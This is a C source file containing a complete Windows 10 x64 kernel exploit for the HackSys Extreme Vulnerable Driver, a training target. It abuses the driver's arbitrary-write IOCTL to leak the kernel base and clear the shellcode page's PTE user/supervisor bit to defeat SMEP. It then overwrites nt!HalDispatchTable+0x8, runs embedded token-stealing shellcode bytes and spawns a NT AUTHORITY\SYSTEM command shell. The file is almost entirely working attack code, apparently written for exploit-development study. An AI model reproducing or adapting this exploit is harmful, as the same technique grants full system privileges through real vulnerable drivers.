Windows10_WriteWhatWhere.c

// HackSys Extreme Vulnerable Driver Kernel Exploit (x64 Arbitrary Overwrite & SMEP Enabled)
// Author: Connor McGarr
// Compilation on Windows via gcc: gcc Windows10_WriteWhatWhere.c -o exploit.exe -lpsapi

#include <stdio.h>
#include <Windows.h>
#include <Psapi.h>

#define IOCTL_CODE 0x0022200B

// Prepping call to nt!NtQueryIntervalProfile
typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);

unsigned long long kernelBase(void)
{
	// Defining EnumDeviceDrivers() parameters
	LPVOID lpImageBase[1024];
	DWORD lpcbNeeded;

	// Calling EnumDeviceDrivers()
	printf("[+] Calling EnumDeviceDrivers()...\n");

	BOOL baseofDrivers = EnumDeviceDrivers(
		lpImageBase,
		sizeof(lpImageBase),
		&lpcbNeeded
	);

	// Error handling
	if (!baseofDrivers)
	{
		printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError());
		exit(1);
	}

	// ntoskrnl.exe is the first module dumped in the array
	// Typcasting LPVOID to unsigned long long
	unsigned long long krnlBase = (unsigned long long)lpImageBase[0];

	// Print update for kernel base
	printf("[+] Found kernel leak!\n");
	printf("[+] ntoskrnl.exe is located at: 0x%llx\n", krnlBase);

	return krnlBase;
}

void exploitWork(void)
{
	/*
		[BITS 64]
		_start:
			mov rax, [gs:0x188]		; Current thread (_KTHREAD)
			mov rax, [rax + 0xb8]		; Current process (_EPROCESS)
			mov rbx, rax			; Copy current process (_EPROCESS) to rbx
		__loop:
			mov rbx, [rbx + 0x2e8] 		; ActiveProcessLinks
			sub rbx, 0x2e8			; Go back to current process (_EPROCESS)
			mov rcx, [rbx + 0x2e0] 		; UniqueProcessId (PID)
			cmp rcx, 4 			; Compare PID to SYSTEM PID 
			jnz __loop			; Loop until SYSTEM PID is found
			mov rcx, [rbx + 0x358]		; SYSTEM token is @ offset _EPROCESS + 0x358
			and cl, 0xf0			; Clear out _EX_FAST_REF RefCnt
			mov [rax + 0x358], rcx		; Copy SYSTEM token to current process
			xor rax, rax			; STATUS_SUCCESS
			ret				; Done!
	*/
	
	// Windows 10 RS1 offsets in _EPROCESS structure
	char payload[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00"
			 "\x48\x8B\x80\xB8\x00\x00\x00"
    			 "\x48\x89\xC3\x48\x8B\x9B\xF0\x02\x00\x00"
    			 "\x48\x81\xEB\xF0\x02\x00\x00"
    			 "\x48\x8B\x8B\xE8\x02\x00\x00"
    			 "\x48\x83\xF9\x04\x75\xE5" 
    			 "\x48\x8B\x8B\x58\x03\x00\x00"
    			 "\x80\xE1\xF0\x48\x89\x88\x58\x03\x00\x00"
    			 "\x48\x31\xC0\xC3";

	// Allocating shellcode in user mode
	LPVOID shellcode = VirtualAlloc(
		NULL,
		sizeof(payload),
		0x3000,
		0x40
		);

	// Error handling
	if (!shellcode)
	{
		printf("[-] Error! Unable to allocate shellcode in user mode. Error: %d\n", GetLastError());
		exit(1);
	}

	// Moving memory into allocated space in user mode
	RtlMoveMemory(
		shellcode,
		payload,
		sizeof(payload)
	);

	// Print update for shellcode
	printf("[+] Shellcode is located at: 0x%llx\n", shellcode);

	// Return value of kernelBase
	unsigned long long baseAddress = kernelBase();

	// Defining nt!MiGetPteAddress+0x13 and print update for location of nt!MiGetPteAddress
	unsigned long long ntmigetpteAddress = baseAddress+0x1b607;
	printf("[+] nt!MiGetPteAddress+0x13 is located at: 0x%llx\n", ntmigetpteAddress);

	// Defining pointer to write base of PTEs to (must initialize pointer, hence placeholder)
	unsigned long long placeholder = 0;
	PULONGLONG baseofPtes = &placeholder;

	// Defining buffer to send to driver
	char buf [0x10];
	size_t oneQword = 0x8;
	
	// Initializing buffer to junk to satisfy type error of memset
	memset(buf, 0x41, 0x10);

	// Actual buffer for extracting the PTE base
	memcpy(buf, &ntmigetpteAddress, oneQword);
	memcpy(&buf[0x8], &baseofPtes, oneQword);

	// Obtaining handle to the driver
	printf("[+] Obtaining handle to the driver via CreateFileA()...\n");
	HANDLE drvHandle = CreateFileA(
		"\\\\.\\HackSysExtremeVulnerableDriver",
		0xC0000000,
		0x0,
		NULL,
		0x3,
		0x0,
		NULL
	);

	// Error handling
	if (!drvHandle)
	{
		printf("[-] Error! Unable to obtain a handle to the driver. Error: %d\n", GetLastError());
		exit(1);
	}

	// Print update for HANDLE
	printf("[+] Handle to the driver: %d\n", drvHandle);

	// Sending buffer to the driver

	// Defining lpBytesReturned parameter
	DWORD lpBytesReturned;
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf,
		sizeof(buf),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Print update for extracting base of the PTEs
	printf("[+] Extracting the base of the PTEs...\n");

	// Defining variable to place base of PTEs
	unsigned long long pteBase = (unsigned long long)*baseofPtes;

	// Print update for base of the PTEs
	printf("[+] Base of the page table entries: 0x%llx\n", pteBase);

	// Bitwise operations to locate PTE of shellcode page
	unsigned long long shellcodePte = (unsigned long long)shellcode >> 9;
	shellcodePte = shellcodePte & 0x7FFFFFFFF8;
	shellcodePte = shellcodePte + pteBase;

	// Print update for shellcode's PTE page
	printf("[+] Shellcode's PTE is located at: 0x%llx\n", shellcodePte);

	// Defining pointer to extract shellcode's PTE control bits (must initialize pointer, hence placeholder)
	placeholder = 0;
	PULONGLONG ptecontrolbitsPointer = &placeholder;

	// Defining buffer to send to driver
	char buf1 [0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf1, 0x41, 0x10);

	// Actual buffer for extracting PTE control bits
	memcpy(buf1, &shellcodePte, oneQword);
	memcpy(&buf1[0x8], &ptecontrolbitsPointer, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf1,
		sizeof(buf1),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	unsigned long long ptecontrolBits = (unsigned long long)*ptecontrolbitsPointer;

	// Print update for PTE control bits
	printf("[+] PTE control bits for shellcode page: %p\n", ptecontrolBits);

	// Corrupting U/S bit in PTE to make user mode page become kernel mode
	unsigned long long taintedPte;
	taintedPte = ptecontrolBits & 0xFFFFFFFFFFFFFFFB;

	// Defining pointer for corrupted PTE bits
	PULONGLONG taintedptePointer = &taintedPte;

	// Defining buffer to send to driver
	char buf2[0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf2, 0x41, 0x10);

	// Actual buffer for corrupting PTE
	memcpy(buf2, &taintedptePointer, oneQword);
	memcpy(&buf2[0x8], &shellcodePte, oneQword);

	// Print update for corrupting PTE
	printf("[+] Corrupting PTE of shellcode to make U/S bit kernel mode...\n");

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf2,
		sizeof(buf2),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Print update for corrupted PTE
	printf("[+] PTE of shellcode is now kernel mode! Sorry, SMEP!\n");

	// Preserving current [nt!HalDispatchTable+0x8] and restoring execution
	unsigned long long haldispatchTable = baseAddress + 0x2f43b8;

	// Print update for preserving address
	printf("[+] Preserving address of nt!HalDispatchTable+0x8->hal!HaliQuerySystemInformation...\n");

	// Defining pointer to write [nt!HalDispatchTable+0x8]
	placeholder = 0;
	PULONGLONG preserveHal = &placeholder;

	// Defining buffer to send to driver
	char buf3 [0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf3, 0x41, 0x10);

	// Actual buffer for extracting the legitimate [nt!HalDispatchTable+0x8]
	memcpy(buf3, &haldispatchTable, oneQword);
	memcpy(&buf3[0x8], &preserveHal, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf3,
		sizeof(buf3),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Defining variable to place [nt!HalDispatchTable+0x8]
	unsigned long long legitimateHal = (unsigned long long)*preserveHal;

	// Print update for preserving [nt!HalDispatchTable]
	printf("[+] nt!HalDispatchTable+0x8->hal!HaliQuerySystemInformation is located at: 0x%llx\n", legitimateHal);
	
	// Defining pointer for shellcode (shellcode is alread LPVOID, so setting pointer to shellcode as LPVOID to avoid type cast)
	LPVOID shellcodePointer = &shellcode;

	// Print update for nt!HalDispatchTable+0x8 location
	printf("[+] nt!HalDispatchTable+0x8 is located at: 0x%llx\n", haldispatchTable);

	// Defining buffer to send to driver
	char buf4[0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf4, 0x41, 0x10);

	// Actual buffer for overwriting [nt!HalDispatchTable+0x8] with shellcode address
	memcpy(buf4, &shellcodePointer, oneQword);
	memcpy(&buf4[0x8], &haldispatchTable, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf4,
		sizeof(buf4),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Print update for overwriting [nt!HalDispatchTable+0x8]
	printf("[+] Overwrote [nt!HalDispatchTable+0x8] with shellcode address...\n");

	// Locating nt!NtQueryIntervalProfile
	NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(
									GetModuleHandle(
									TEXT("ntdll.dll")),
									"NtQueryIntervalProfile"
									);

	// Error handling
	if (!NtQueryIntervalProfile)
	{
		printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError());
		exit(1);
	}

	// Print update for found ntdll!NtQueryIntervalProfile
	printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile);

	// Invoking nt!NtQueryIntervalProfile to execute [nt!HalDispatchTable+0x8]
	printf("[+] Calling nt!NtQueryIntervalProfile to execute [nt!HalDispatchTable+0x8]...\n");

	// Print update for found ntdll!NtQueryIntervalProfile
	// Calling nt!NtQueryIntervalProfile and defining parameter
	ULONG exploit = 0;
	NtQueryIntervalProfile(
		0x1234,
		&exploit
		);

	// Restoring [nt!HalDispatchTable+0x8]

	// Defining pointer for [nt!HalDispatchTable+0x8]
	PULONGLONG restoreHal = &legitimateHal;

	// Print update for restoring [nt!HalDispatchTable+0x8]
	printf("[+] Attempting to restore [nt!HalDispatchTable+0x8] with hal!HaliQuerySystemInformation...\n");

	// Defining buffer to send to driver
	char buf5[0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf5, 0x41, 0x10);

	// Actual buffer for overwriting [nt!HalDispatchTable+0x8] with shellcode address
	memcpy(buf5, &restoreHal, oneQword);
	memcpy(&buf5[0x8], &haldispatchTable, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf5,
		sizeof(buf5),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Print update for newly restored [nt!HalDispatchTable+0x8]
	printf("[+] Restored [nt!HalDispatchTable+0x8]!\n");

	// Print update for NT AUTHORITY\SYSTEM shell
	printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n");

	// Spawning an NT AUTHORITY\SYSTEM shell
	system("cmd.exe /c cmd.exe /K cd C:\\");
}

int main()
{
	exploitWork();

	return 0;
}